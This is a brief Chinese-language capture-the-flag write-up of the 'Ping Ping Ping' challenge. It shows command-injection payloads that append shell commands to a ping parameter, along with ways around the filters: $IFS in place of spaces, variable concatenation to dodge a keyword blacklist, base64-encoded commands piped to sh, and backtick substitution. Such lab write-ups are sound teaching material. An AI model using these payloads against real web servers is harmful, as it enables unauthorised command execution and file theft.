第二天——Ping Ping Ping
熟悉的ping,先尝试随便写一个命令
payload=1;ls
所以是有的,直接cat flag.php试一下 空格过滤,尝试几种常见的绕过:
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt
第三个才可以,但又会显示
其余几个显示
所以还有其余过滤,可以先看一下index.php 发现有其余过滤,符号过滤了一大堆,还有flag的贪心匹配的黑名单; 首先想到通配符,发现*也被过滤了,那就用变量拼接,只要flag不按顺序出现就可以了。
payload=?ip=1||a=fl;b=g;c=a;d=.;e=p;f=h;r=$a$c$b$d$e$f$e;cat$IFS$9$r
迷惑两秒钟,应该要出现flag的呀,后来发现自己傻了,既然是php文件,很可能是被注释掉了的,直接看页面看不到,要看源码。果然 后来看网上的writeup还有一种绕过方式,是加密
payload=?ip=1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw是cat flag.php的base64 或者
payload=?ip=1;cat$IFS$9`ls`
这种时内联执行,将反引号内命令的输出作为输入执行
|